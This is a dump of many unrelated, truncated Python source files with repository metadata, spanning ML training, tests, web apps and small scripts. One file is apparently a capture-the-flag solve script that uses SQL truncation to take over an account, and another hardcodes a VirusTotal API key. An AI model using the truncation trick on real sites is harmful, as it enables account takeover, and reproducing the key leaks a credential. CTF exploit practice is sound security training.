] | null | null | null | video/train_vqvae_lstm.py | arash-safari/vp | 377e0172112157b79690b32349481a17e7590063 | [
"MIT"
] | null | null | null | from torch import nn, optim
from torch.utils.tensorboard import SummaryWriter
from tqdm import tqdm
import torch
def get_optimizer(model, lr):
return optim.Adam(model.parameters(), lr=lr)
def _to_one_hot(y, num_classes):
scatter_dim = len(y.size())
y_tensor = y.view(*y.size(), -1)
zeros = torch.zero... | 35.591549 | 117 | 0.550455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 206 | 0.08152 |
114baac9b0ba0fd601c9c440b172f038a36ec799 | 307 | py | Python | Curso_de_Python_3_do_Basico_Ao_Avancado_Udemy/aula069/zip_e_zip_longest.py | DanilooSilva/Cursos_de_Python | 8f167a4c6e16f01601e23b6f107578aa1454472d | [
"MIT"
] | null | null | null | Curso_de_Python_3_do_Basico_Ao_Avancado_Udemy/aula069/zip_e_zip_longest.py | DanilooSilva/Cursos_de_Python | 8f167a4c6e16f01601e23b6f107578aa1454472d | [
"MIT"
] | null | null | null | Curso_de_Python_3_do_Basico_Ao_Avancado_Udemy/aula069/zip_e_zip_longest.py | DanilooSilva/Cursos_de_Python | 8f167a4c6e16f01601e23b6f107578aa1454472d | [
"MIT"
] | null | null | null | """
Zip - Unindo iteráveis
Zip_longest _ Itertools
"""
from itertools import zip_longest, count
index = count()
cidades = ['Sao Paulo', 'Belo Horizonte', 'Salvador', 'Monte Belo']
estados = ['SP', 'MG', 'BA']
cidades_estados = zip_longest(cidades, estados)
for valor in cidades_estados:
print(valor) | 20.466667 | 67 | 0.70684 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 116 | 0.376623 |
114bfce52e4cd09b2cceb92b610dc1db5f94447b | 7,087 | py | Python | VoiceAssistant/speechrecognition/neuralnet/train.py | Reyansh0667/A-Programmer-AI-Voice-Assistant | 7350050515fe333627c9c27b17d1e98d99b8a5c2 | [
"MIT"
] | 575 | 2020-05-29T07:31:40.000Z | 2022-03-31T16:06:48.000Z | VoiceAssistant/speechrecognition/neuralnet/train.py | Reyansh0667/A-Programmer-AI-Voice-Assistant | 7350050515fe333627c9c27b17d1e98d99b8a5c2 | [
"MIT"
] | 67 | 2020-08-05T16:17:28.000Z | 2022-03-12T09:04:33.000Z | VoiceAssistant/speechrecognition/neuralnet/train.py | Reyansh0667/A-Programmer-AI-Voice-Assistant | 7350050515fe333627c9c27b17d1e98d99b8a5c2 | [
"MIT"
] | 259 | 2020-05-30T15:04:59.000Z | 2022-03-30T02:56:03.000Z | import os
import ast
import torch
import torch.nn as nn
from torch.nn import functional as F
import torch.optim as optim
from torch.utils.data import DataLoader
from pytorch_lightning.core.lightning import LightningModule
from pytorch_lightning import Trainer
from argparse import ArgumentParser
from model import Speech... | 43.478528 | 111 | 0.658389 | 2,643 | 0.372936 | 0 | 0 | 0 | 0 | 0 | 0 | 1,239 | 0.174827 |
114f19bb66b60d61b441f7697a5eae83b5d30c4e | 596 | py | Python | DRL/models/oct/18-argon/session1/reward.py | EXYNOS-999/AWS_JPL_DRL | ea9df7f293058b0ca2dc63753e68182fcc5380f5 | [
"Apache-2.0"
] | null | null | null | DRL/models/oct/18-argon/session1/reward.py | EXYNOS-999/AWS_JPL_DRL | ea9df7f293058b0ca2dc63753e68182fcc5380f5 | [
"Apache-2.0"
] | 1 | 2020-01-08T06:52:03.000Z | 2020-01-08T07:05:44.000Z | DRL/models/oct/18-argon/session1a/reward.py | EXYNOS-999/AWS_JPL_DRL | ea9df7f293058b0ca2dc63753e68182fcc5380f5 | [
"Apache-2.0"
] | null | null | null | """
AWS DeepRacer reward function using only progress
"""
#===============================================================================
#
# REWARD
#
#===============================================================================
def reward_function(params):
# Skipping the explanation and verbose math here...
... | 27.090909 | 80 | 0.458054 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 346 | 0.580537 |
114fdc8df483131a51698126243a63c5be6a6a0e | 579 | py | Python | djcelery_model/tests/testapp/tasks.py | idanshimon/django-celery-model | 0127bdf7a30ca97a2f0054413c7892477bd03d2f | [
"MIT"
] | null | null | null | djcelery_model/tests/testapp/tasks.py | idanshimon/django-celery-model | 0127bdf7a30ca97a2f0054413c7892477bd03d2f | [
"MIT"
] | 5 | 2020-07-13T17:33:29.000Z | 2020-09-11T16:21:54.000Z | djcelery_model/tests/testapp/tasks.py | idanshimon/django-celery-model | 0127bdf7a30ca97a2f0054413c7892477bd03d2f | [
"MIT"
] | 1 | 2020-12-07T13:27:02.000Z | 2020-12-07T13:27:02.000Z | from __future__ import absolute_import, unicode_literals
from hashlib import sha1
from time import sleep
from celery import shared_task
from .models import JPEGFile
@shared_task
def calculate_etag(pk):
jpeg = JPEGFile.objects.get(pk=pk)
jpeg.etag = sha1(jpeg.file.read()).hexdigest()
sleep(5)
jpeg.sav... | 19.3 | 56 | 0.749568 | 0 | 0 | 0 | 0 | 401 | 0.692573 | 0 | 0 | 16 | 0.027634 |
11534d93e39e29332cbc56c2467f77183e5bab66 | 2,028 | py | Python | tests/test_redirector.py | lawliet89/flask-redirector | 8637c2bd0025bb48db8694c83ad64825a85825a5 | [
"Apache-2.0"
] | null | null | null | tests/test_redirector.py | lawliet89/flask-redirector | 8637c2bd0025bb48db8694c83ad64825a85825a5 | [
"Apache-2.0"
] | 1 | 2016-09-27T03:23:38.000Z | 2016-09-27T03:23:38.000Z | tests/test_redirector.py | lawliet89/flask-redirector | 8637c2bd0025bb48db8694c83ad64825a85825a5 | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
"""
Redirector tests
"""
from redirector import views
def test_redirects_correctly(client):
response = client.get('/foo/bar.html?foo=bar')
assert response.status_code == 301
assert response.headers['Location'] == 'https://www.example.com/foo/bar.html?foo=bar'
def test_normalize_port_norm... | 28.56338 | 97 | 0.688363 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 610 | 0.300789 |
1157a67a471d97e9b998c20a52b64bbf93cf6c33 | 13,715 | py | Python | multipy/check.py | kamilazdybal/multipy | ebdcddb63bfb1cd647ca99bbf9002b04a9b50ed9 | [
"MIT"
] | null | null | null | multipy/check.py | kamilazdybal/multipy | ebdcddb63bfb1cd647ca99bbf9002b04a9b50ed9 | [
"MIT"
] | null | null | null | multipy/check.py | kamilazdybal/multipy | ebdcddb63bfb1cd647ca99bbf9002b04a9b50ed9 | [
"MIT"
] | null | null | null | """multipy: Python library for multicomponent mass transfer"""
__author__ = "James C. Sutherland, Kamila Zdybal"
__copyright__ = "Copyright (c) 2022, James C. Sutherland, Kamila Zdybal"
__license__ = "MIT"
__version__ = "1.0.0"
__maintainer__ = ["Kamila Zdybal"]
__email__ = ["kamilazdybal@gmail.com"]
__status__ = "Pro... | 38.525281 | 206 | 0.587386 | 12,885 | 0.939482 | 0 | 0 | 0 | 0 | 0 | 0 | 8,398 | 0.612322 |
1157f9d0f3382897cf392138bb21e63963ec687a | 1,311 | py | Python | backtesting/__init__.py | mhconradt/research-tools | b60f42bcce571665d918c1637f532a5a9f5caf4b | [
"MIT"
] | null | null | null | backtesting/__init__.py | mhconradt/research-tools | b60f42bcce571665d918c1637f532a5a9f5caf4b | [
"MIT"
] | null | null | null | backtesting/__init__.py | mhconradt/research-tools | b60f42bcce571665d918c1637f532a5a9f5caf4b | [
"MIT"
] | null | null | null | import numpy as np
import pandas as pd
from backtesting.analysis import plot_cost_proceeds, plot_holdings, \
plot_performance
from backtesting.report import Report
from backtesting.simulation import simulate
def main() -> None:
from string import ascii_uppercase
np.random.seed(42)
markets = list(asci... | 33.615385 | 77 | 0.670481 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 88 | 0.067124 |
11582c4c142efc6bf040a2f6c49882faa3503209 | 24,681 | py | Python | relation_extraction/data/preprocess.py | geetickachauhan/relation-extraction | aa920449b20c7127954eaaaa05244e7fc379e018 | [
"MIT"
] | 19 | 2019-06-24T18:33:36.000Z | 2022-01-21T03:16:12.000Z | relation_extraction/data/preprocess.py | geetickachauhan/relation-extraction | aa920449b20c7127954eaaaa05244e7fc379e018 | [
"MIT"
] | null | null | null | relation_extraction/data/preprocess.py | geetickachauhan/relation-extraction | aa920449b20c7127954eaaaa05244e7fc379e018 | [
"MIT"
] | 11 | 2019-06-02T08:59:16.000Z | 2021-08-23T04:31:07.000Z | '''
Author: Geeticka Chauhan
Performs pre-processing on a csv file independent of the dataset (once converters have been applied).
Refer to notebooks/Data-Preprocessing for more details. The methods are specifically used in the non
_original notebooks for all datasets.
'''
import os, pandas as pd, numpy as np
import ... | 48.680473 | 134 | 0.677485 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7,316 | 0.296422 |
115918a7f0ed81b2789ef7c2542b4e40e41471f5 | 9,868 | py | Python | SWAPLINEmain.py | ernforslab/Hu-et-al._GBMlineage2022 | 508744307746f357c75c1b1e92d9739a11d76870 | [
"BSD-3-Clause"
] | 1 | 2022-03-01T23:51:26.000Z | 2022-03-01T23:51:26.000Z | SWAPLINEmain.py | ernforslab/Hu-et-al._GBMlineage2022 | 508744307746f357c75c1b1e92d9739a11d76870 | [
"BSD-3-Clause"
] | null | null | null | SWAPLINEmain.py | ernforslab/Hu-et-al._GBMlineage2022 | 508744307746f357c75c1b1e92d9739a11d76870 | [
"BSD-3-Clause"
] | 3 | 2022-03-01T23:53:20.000Z | 2022-03-28T08:01:07.000Z | import datetime
import seaborn as sns
import pickle as pickle
from scipy.spatial.distance import cdist, pdist, squareform
import pandas as pd
from sklearn.linear_model import LogisticRegression, LogisticRegressionCV
#from sklearn.model_selection import StratifiedShuffleSplit
from collections import defaultdict... | 48.851485 | 138 | 0.667511 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,635 | 0.165687 |
1159ace76695ba7ee79a54fb2dfd624cc5d70bce | 1,988 | py | Python | main.py | b0kch01/ColorfulValorant | 9fdbcc6ca4626fc3d7f0349eb7564ffac1fc26c2 | [
"MIT"
] | 1 | 2021-06-07T13:52:48.000Z | 2021-06-07T13:52:48.000Z | main.py | B0kCh01/ColorfulValorant | 9fdbcc6ca4626fc3d7f0349eb7564ffac1fc26c2 | [
"MIT"
] | 1 | 2021-09-26T10:49:16.000Z | 2021-09-27T03:27:55.000Z | main.py | b0kch01/ColorfulValorant | 9fdbcc6ca4626fc3d7f0349eb7564ffac1fc26c2 | [
"MIT"
] | null | null | null | # Colorful VALORANT by b0kch01
import os, ctypes
# Disable quick-edit mode (pauses bot)
kernel32 = ctypes.windll.kernel32
kernel32.SetConsoleMode(kernel32.GetStdHandle(-10), 128)
from pyfiglet import Figlet
from termcolor import cprint, colored
import colorama
import keyboard
import time
# Fix legacy console color... | 20.708333 | 89 | 0.607646 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 846 | 0.424699 |
115bab6acf9f1efb52620d943da91627a011d588 | 2,240 | py | Python | virus_total.py | jonschipp/nsm-tools | bc465038bfeb215ca54b67bb4170d607327d0436 | [
"BSD-2-Clause"
] | 3 | 2016-02-26T06:28:47.000Z | 2016-12-09T23:19:35.000Z | virus_total.py | jonschipp/nsm-tools | bc465038bfeb215ca54b67bb4170d607327d0436 | [
"BSD-2-Clause"
] | null | null | null | virus_total.py | jonschipp/nsm-tools | bc465038bfeb215ca54b67bb4170d607327d0436 | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/env python
import json
import urllib
import urllib2
import sys
apikey = '843fa2012b619be746ead785b933d59820a2e357c7c186e581e8fcadbe2e550e'
def usage():
print '''Submit hash to virtus-total
(Place your VirusTotal apikey in this script)
Usage: %s <hash>''' % sys.argv[0]
exit(1)
def collect(data):
retr... | 27.317073 | 93 | 0.69375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 575 | 0.256696 |
115e6da0adc887e907135e22cea5b992136e5b12 | 791 | py | Python | typus/chars.py | byashimov/typus | b0576d6065163cc46a171b90027f2e3321ae7615 | [
"BSD-3-Clause"
] | 65 | 2016-06-15T08:44:58.000Z | 2021-02-02T10:42:23.000Z | typus/chars.py | byashimov/typus | b0576d6065163cc46a171b90027f2e3321ae7615 | [
"BSD-3-Clause"
] | 4 | 2018-11-15T17:10:05.000Z | 2020-01-09T19:44:39.000Z | typus/chars.py | byashimov/typus | b0576d6065163cc46a171b90027f2e3321ae7615 | [
"BSD-3-Clause"
] | 6 | 2017-10-20T16:28:45.000Z | 2021-11-11T18:41:21.000Z | __all__ = (
'ANYSP',
'DLQUO',
'DPRIME',
'LAQUO',
'LDQUO',
'LSQUO',
'MDASH',
'MDASH_PAIR',
'MINUS',
'NBSP',
'NDASH',
'NNBSP',
'RAQUO',
'RDQUO',
'RSQUO',
'SPRIME',
'THNSP',
'TIMES',
'WHSP',
)
NBSP = '\u00A0'
NNBSP = '\u202F'
THNSP = '\u2009'
WHS... | 16.829787 | 54 | 0.525917 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 427 | 0.52457 |
1160107f399496c19ae30848738f2468e25e6508 | 5,259 | py | Python | src/wagtail_live/models.py | Stormheg/wagtail-live | a5eb79024d44c060079ae7d4707d6220ea66ff5b | [
"BSD-3-Clause"
] | null | null | null | src/wagtail_live/models.py | Stormheg/wagtail-live | a5eb79024d44c060079ae7d4707d6220ea66ff5b | [
"BSD-3-Clause"
] | null | null | null | src/wagtail_live/models.py | Stormheg/wagtail-live | a5eb79024d44c060079ae7d4707d6220ea66ff5b | [
"BSD-3-Clause"
] | null | null | null | """ Wagtail Live models."""
from django.db import models
from django.utils.timezone import now
from wagtail.admin.edit_handlers import FieldPanel, StreamFieldPanel
from wagtail.core.fields import StreamField
from .blocks import LivePostBlock
class LivePageMixin(models.Model):
"""A helper class for pages using W... | 28.895604 | 85 | 0.601065 | 5,012 | 0.953033 | 0 | 0 | 163 | 0.030994 | 0 | 0 | 2,344 | 0.445712 |
1161293fb1e28e5788a7aa124f039306bb2b8a3e | 2,291 | py | Python | python/test_inprod_analytic.py | solepomies/MAOOAM | 3a30c4030da384a9c4a8510a628c5c1f8ff511cc | [
"MIT"
] | 18 | 2016-04-21T08:45:15.000Z | 2021-11-30T11:21:40.000Z | python/test_inprod_analytic.py | solepomies/MAOOAM | 3a30c4030da384a9c4a8510a628c5c1f8ff511cc | [
"MIT"
] | 1 | 2019-07-15T13:01:21.000Z | 2019-07-15T13:01:21.000Z | python/test_inprod_analytic.py | solepomies/MAOOAM | 3a30c4030da384a9c4a8510a628c5c1f8ff511cc | [
"MIT"
] | 15 | 2016-05-12T12:09:51.000Z | 2021-12-17T18:43:07.000Z | import numpy as np
from inprod_analytic import *
from params_maooam import natm, noc
init_inprod()
real_eps = 2.2204460492503131e-16
"""This module print the coefficients computed in the inprod_analytic module"""
for i in range(0, natm):
for j in range(0, natm):
if(abs(atmos.a[i, j]) >= real_eps):
... | 38.830508 | 79 | 0.395024 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 337 | 0.147097 |
11618053ba49ca083edd95cb07327f86424a2f0d | 849 | py | Python | public/views/fallback.py | jgarber623/openstates.org | 0c514c955f7ffbe079c77c3ec00345b20818ad04 | [
"MIT"
] | null | null | null | public/views/fallback.py | jgarber623/openstates.org | 0c514c955f7ffbe079c77c3ec00345b20818ad04 | [
"MIT"
] | null | null | null | public/views/fallback.py | jgarber623/openstates.org | 0c514c955f7ffbe079c77c3ec00345b20818ad04 | [
"MIT"
] | null | null | null | from django.http import Http404, HttpResponse
from django.shortcuts import redirect
import boto3
from botocore.errorfactory import ClientError
from ..models import PersonProxy
def fallback(request):
BUCKET_NAME = "legacy.openstates.org"
key = request.path.lstrip("/") + "index.html"
s3 = boto3.client("s3"... | 28.3 | 56 | 0.693757 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 79 | 0.093051 |
116356ed291907faf2d830bb75f61d5e69fb9f8d | 12,534 | py | Python | tests/test_OptionList.py | CrsiX/dhcppython | c442c3f6eca8244667df8a19d370f7569d81f08f | [
"Apache-2.0"
] | 2 | 2021-09-13T13:35:46.000Z | 2021-11-15T15:33:24.000Z | tests/test_OptionList.py | CrsiX/dhcppython | c442c3f6eca8244667df8a19d370f7569d81f08f | [
"Apache-2.0"
] | 2 | 2021-11-12T08:25:02.000Z | 2021-12-04T02:28:38.000Z | tests/test_OptionList.py | CrsiX/dhcppython | c442c3f6eca8244667df8a19d370f7569d81f08f | [
"Apache-2.0"
] | 3 | 2021-09-08T08:48:30.000Z | 2022-01-21T03:14:11.000Z | import unittest
from dhcppython import options
class OptionListTestCases(unittest.TestCase):
def gen_optionslist(self):
return options.OptionList(
[
options.options.short_value_to_object(61, {'hwtype': 1, 'hwaddr': "8c:45:00:1d:48:16"}),
options.options.short_va... | 40.827362 | 245 | 0.564704 | 12,435 | 0.992101 | 0 | 0 | 0 | 0 | 0 | 0 | 1,553 | 0.123903 |
11649ccd701bc4417bcc78c7dc346d299411f6ad | 102 | py | Python | keras/legacy_tf_layers/__init__.py | tsheaff/keras | ee227dda766d769b7499a5549e8ed77b5e88105b | [
"Apache-2.0"
] | 37,222 | 2017-12-13T00:52:55.000Z | 2022-03-31T22:34:35.000Z | keras/legacy_tf_layers/__init__.py | amirsadafi/keras | f1e9c76675981ee6683f54a3ce569212d551d12d | [
"Apache-2.0"
] | 7,624 | 2017-12-13T01:03:40.000Z | 2022-03-31T23:57:24.000Z | keras/legacy_tf_layers/__init__.py | amirsadafi/keras | f1e9c76675981ee6683f54a3ce569212d551d12d | [
"Apache-2.0"
] | 14,914 | 2017-12-13T02:30:46.000Z | 2022-03-30T14:49:16.000Z | """Init file."""
from keras.legacy_tf_layers import migration_utils # pylint: disable=unused-import
| 25.5 | 83 | 0.77451 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 47 | 0.460784 |
1164dd3dd45d08ace50ca4b24008ab7f5c008eee | 1,485 | py | Python | 1stRound/Medium/449-Serialize and Deserialize BST/DFSPreOrder.py | ericchen12377/Leetcode-Algorithm-Python | eb58cd4f01d9b8006b7d1a725fc48910aad7f192 | [
"MIT"
] | 2 | 2020-04-24T18:36:52.000Z | 2020-04-25T00:15:57.000Z | 1stRound/Medium/449-Serialize and Deserialize BST/DFSPreOrder.py | ericchen12377/Leetcode-Algorithm-Python | eb58cd4f01d9b8006b7d1a725fc48910aad7f192 | [
"MIT"
] | null | null | null | 1stRound/Medium/449-Serialize and Deserialize BST/DFSPreOrder.py | ericchen12377/Leetcode-Algorithm-Python | eb58cd4f01d9b8006b7d1a725fc48910aad7f192 | [
"MIT"
] | null | null | null | # Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Codec:
def serialize(self, root: TreeNode) -> str:
"""Encodes a tree to a single string.
"""
def DFSPreorder(root):
... | 29.7 | 97 | 0.534007 | 1,091 | 0.73468 | 0 | 0 | 0 | 0 | 0 | 0 | 493 | 0.331987 |
116638e98b91db5181f4b52e40fed58dce87a1e3 | 1,038 | py | Python | aws_tests/aws_mlops_scripts/sagemaker_trigger.py | Chronicles-of-AI/archives | 23b978a709c785ff00ec90487039944b8ab8f4fb | [
"MIT"
] | null | null | null | aws_tests/aws_mlops_scripts/sagemaker_trigger.py | Chronicles-of-AI/archives | 23b978a709c785ff00ec90487039944b8ab8f4fb | [
"MIT"
] | null | null | null | aws_tests/aws_mlops_scripts/sagemaker_trigger.py | Chronicles-of-AI/archives | 23b978a709c785ff00ec90487039944b8ab8f4fb | [
"MIT"
] | null | null | null | import os
import sagemaker
from sagemaker import get_execution_role
from sagemaker.tensorflow.estimator import TensorFlow
sagemaker_session = sagemaker.Session()
# role = get_execution_role()
region = sagemaker_session.boto_session.region_name
training_input_path = "s3://intel-edge-poc/mask_dataset_datagen/train/"
v... | 25.95 | 88 | 0.735067 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 437 | 0.421002 |
1166eafac1780fdb1b04815e3dcee64d69f82e8c | 314 | py | Python | imgbase/filters.py | olajir/projbase | c434bf5ef0627e7161fe026885a778e8240a26a0 | [
"MIT"
] | null | null | null | imgbase/filters.py | olajir/projbase | c434bf5ef0627e7161fe026885a778e8240a26a0 | [
"MIT"
] | null | null | null | imgbase/filters.py | olajir/projbase | c434bf5ef0627e7161fe026885a778e8240a26a0 | [
"MIT"
] | null | null | null |
import numpy as np
import skimage
import skimage.morphology as morph
import skimage.filters as filt
import skimage.exposure as expo
def get_corrected_image(iimage, gamma=0.25):
"""Return filtered image to detect spots."""
image = skimage.util.img_as_float(iimage)
image **= gamma
return image
| 19.625 | 48 | 0.745223 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 44 | 0.140127 |
11677e2c59bc64a37229b6462c616546dac9135c | 398 | py | Python | packages/python/yap_kernel/yap_ipython/utils/tests/test_sysinfo.py | ryandesign/yap | 9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214 | [
"Artistic-1.0-Perl",
"ClArtistic"
] | 90 | 2015-03-09T01:24:15.000Z | 2022-02-24T13:56:25.000Z | packages/python/yap_kernel/yap_ipython/utils/tests/test_sysinfo.py | ryandesign/yap | 9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214 | [
"Artistic-1.0-Perl",
"ClArtistic"
] | 52 | 2016-02-14T08:59:37.000Z | 2022-03-14T16:39:35.000Z | packages/python/yap_kernel/yap_ipython/utils/tests/test_sysinfo.py | ryandesign/yap | 9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214 | [
"Artistic-1.0-Perl",
"ClArtistic"
] | 27 | 2015-11-19T02:45:49.000Z | 2021-11-25T19:47:58.000Z | # coding: utf-8
"""Test suite for our sysinfo utilities."""
# Copyright (c) yap_ipython Development Team.
# Distributed under the terms of the Modified BSD License.
import json
import nose.tools as nt
from yap_ipython.utils import sysinfo
def test_json_getsysinfo():
"""
test that it is easily jsonable and ... | 22.111111 | 70 | 0.728643 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 243 | 0.610553 |
116964ae9fc7694d62c644302058f5dab73652eb | 268 | py | Python | TestHospital/test/test_login_negative/test_login_invalid_credentials.py | Irshak10/AQA | b5e22e6fdc017040e2fefcf148792ba74fd38b8d | [
"MIT"
] | null | null | null | TestHospital/test/test_login_negative/test_login_invalid_credentials.py | Irshak10/AQA | b5e22e6fdc017040e2fefcf148792ba74fd38b8d | [
"MIT"
] | null | null | null | TestHospital/test/test_login_negative/test_login_invalid_credentials.py | Irshak10/AQA | b5e22e6fdc017040e2fefcf148792ba74fd38b8d | [
"MIT"
] | null | null | null | from Pages.LoginPage import LoginPage
def test_invalid_login(setup):
login = LoginPage(setup)
login.enter_username_false()
login.enter_password_true()
login.click_login()
login.invalid_message_check()
print("Correct Login Test Completed")
| 19.142857 | 41 | 0.742537 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 30 | 0.11194 |
116ab6cd1db9f2f070145181b5804b80b331c8fe | 2,040 | py | Python | script2.py | joshigarvitgh/image-processing | 70e3ca093882904d5d995153ca079d000996a240 | [
"Apache-2.0"
] | null | null | null | script2.py | joshigarvitgh/image-processing | 70e3ca093882904d5d995153ca079d000996a240 | [
"Apache-2.0"
] | null | null | null | script2.py | joshigarvitgh/image-processing | 70e3ca093882904d5d995153ca079d000996a240 | [
"Apache-2.0"
] | null | null | null | from pyimagesearch.shapedetector import ShapeDetector
from pyimagesearch.colorlabeler import ColorLabeler
import argparse
import imutils
import numpy as np
import cv2
import argparse
import imutils
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
if face_cascade.empty(): raise Exception("you... | 35.789474 | 107 | 0.698039 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 694 | 0.340196 |
116af1be02eed7748796fab7b787f2cb8771a926 | 548 | py | Python | 044/main.py | autozimu/projecteuler | 12a8244b7ef9358ac6ca30698cd761c81c3ec925 | [
"MIT"
] | null | null | null | 044/main.py | autozimu/projecteuler | 12a8244b7ef9358ac6ca30698cd761c81c3ec925 | [
"MIT"
] | null | null | null | 044/main.py | autozimu/projecteuler | 12a8244b7ef9358ac6ca30698cd761c81c3ec925 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
s = [n * (3 * n - 1) / 2 for n in range(0, 10000)]
found = False
i = 1900
while not found:
i += 1
j = 1
while j < i:
# actually, we cannot guarentee that j < i, the real condition would
# be s[i] < 3 * j + 1, which is the distance of s[j] and s[j + 1]. But
# t... | 23.826087 | 78 | 0.470803 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 199 | 0.363139 |
116b03d71f4f5e5f3ca2c20583aee06f48a45793 | 911 | py | Python | apt/anonymization/__init__.py | IBM/ai-privacy-toolkit | a9a93c8a3a026b8a4b01266e11698166b7cdbb44 | [
"MIT"
] | 34 | 2021-04-28T15:12:36.000Z | 2022-03-28T11:38:48.000Z | apt/anonymization/__init__.py | IBM/ai-privacy-toolkit | a9a93c8a3a026b8a4b01266e11698166b7cdbb44 | [
"MIT"
] | 13 | 2021-07-14T11:02:35.000Z | 2022-02-23T17:57:51.000Z | apt/anonymization/__init__.py | IBM/ai-privacy-toolkit | a9a93c8a3a026b8a4b01266e11698166b7cdbb44 | [
"MIT"
] | 9 | 2021-05-18T21:26:07.000Z | 2022-03-06T14:58:57.000Z | """
Module providing ML anonymization.
This module contains methods for anonymizing ML model training data, so that when
a model is retrained on the anonymized data, the model itself will also be considered
anonymous. This may help exempt the model from different obligations and restrictions
set out in data protection... | 50.611111 | 96 | 0.812294 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 859 | 0.94292 |
116b7b4ac4b9d4a7f8c63237f875c149f4bb08e0 | 2,016 | py | Python | qiskit_code/DeutschJozsa.py | OccumRazor/implement-quantum-algotirhms-with-qiskit | 8574b6505fc34f12eb63e1791e969099d56e3974 | [
"MIT"
] | 3 | 2020-11-03T01:21:48.000Z | 2021-09-23T18:53:40.000Z | qiskit_code/DeutschJozsa.py | OccumRazor/implement-quantum-algotirhms-with-qiskit | 8574b6505fc34f12eb63e1791e969099d56e3974 | [
"MIT"
] | null | null | null | qiskit_code/DeutschJozsa.py | OccumRazor/implement-quantum-algotirhms-with-qiskit | 8574b6505fc34f12eb63e1791e969099d56e3974 | [
"MIT"
] | null | null | null | from qiskit import QuantumRegister,QuantumCircuit
from qiskit.aqua.operators import StateFn
from qiskit.aqua.operators import I
from qiskit_code.quantumMethod import add,ini
from qiskit_code.classicalMethod import Dec2Bi
def DeutschJozsa(l,method):
# Deutsch, D. and Jozsa, R., 1992. Rapid solution of problems b... | 38.037736 | 92 | 0.671131 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 701 | 0.347718 |
116bf2691d7781b16c90385ce38a0af9b3dfe37f | 480 | py | Python | web/products-manager/solve.py | cclauss/fbctf-2019-challenges | 4353c2ce588cf097ac6ca9bcf7b943a99742ac75 | [
"MIT"
] | 213 | 2019-06-14T18:28:40.000Z | 2021-12-27T14:44:45.000Z | web/products-manager/solve.py | cclauss/fbctf-2019-challenges | 4353c2ce588cf097ac6ca9bcf7b943a99742ac75 | [
"MIT"
] | 2 | 2020-06-05T21:14:51.000Z | 2021-06-10T21:34:03.000Z | web/products-manager/solve.py | cclauss/fbctf-2019-challenges | 4353c2ce588cf097ac6ca9bcf7b943a99742ac75 | [
"MIT"
] | 59 | 2019-06-17T17:35:29.000Z | 2021-12-04T22:26:37.000Z | import requests
import random, string
x = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16))
URL = "http://localhost/"
secret = "aA11111111" + x
# Registering a user
requests.post(url = "%s/add.php" % URL, data = {
'name': 'facebook' + ' '*64 + 'abc',
'secr... | 21.818182 | 110 | 0.63125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 153 | 0.31875 |
feba32dda1863dbf22b57f349bb7f5c4d2450b8d | 737 | py | Python | app/__main__.py | sabuj073/Pyqt | fd316ca81b57cf45c4b02661ae32d3e87da86643 | [
"MIT"
] | 15 | 2019-07-17T04:35:43.000Z | 2022-03-06T10:56:57.000Z | app/__main__.py | SadeghShabestani/pyqt-gui-template | 7b0be93b28519fecef061ae6fd257b5e1414f609 | [
"MIT"
] | null | null | null | app/__main__.py | SadeghShabestani/pyqt-gui-template | 7b0be93b28519fecef061ae6fd257b5e1414f609 | [
"MIT"
] | 7 | 2019-11-02T05:03:01.000Z | 2022-01-22T07:16:35.000Z | import argparse
import sys
import traceback
from .app import Application
def new_excepthook(type, value, tb):
# by default, Qt does not seem to output any errors, this prevents that
traceback.print_exception(type, value, tb)
sys.excepthook = new_excepthook
def main():
parser = argparse.ArgumentParser... | 20.472222 | 75 | 0.663501 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 103 | 0.139756 |
febafd98c2edf8a650a93925007e3f317d57cdc1 | 848 | py | Python | test/test_1030.py | ralphribeiro/uri-projecteuler | 7151d86e014aea9c56026cc88f50b4e940117dd8 | [
"MIT"
] | null | null | null | test/test_1030.py | ralphribeiro/uri-projecteuler | 7151d86e014aea9c56026cc88f50b4e940117dd8 | [
"MIT"
] | null | null | null | test/test_1030.py | ralphribeiro/uri-projecteuler | 7151d86e014aea9c56026cc88f50b4e940117dd8 | [
"MIT"
] | null | null | null | from unittest import TestCase
from exercicios.ex1030 import calcula_suicidio
import random
class TestEx1030(TestCase):
def test_saida_com_erro_para_entradas_fora_do_intervalo(self):
chamada = [(0, 10), (10, 0), (10001, 10), (10, 1001)]
esperado = ("Case 1: entrada inválida\n"
... | 29.241379 | 66 | 0.59434 | 757 | 0.888498 | 0 | 0 | 0 | 0 | 0 | 0 | 156 | 0.183099 |
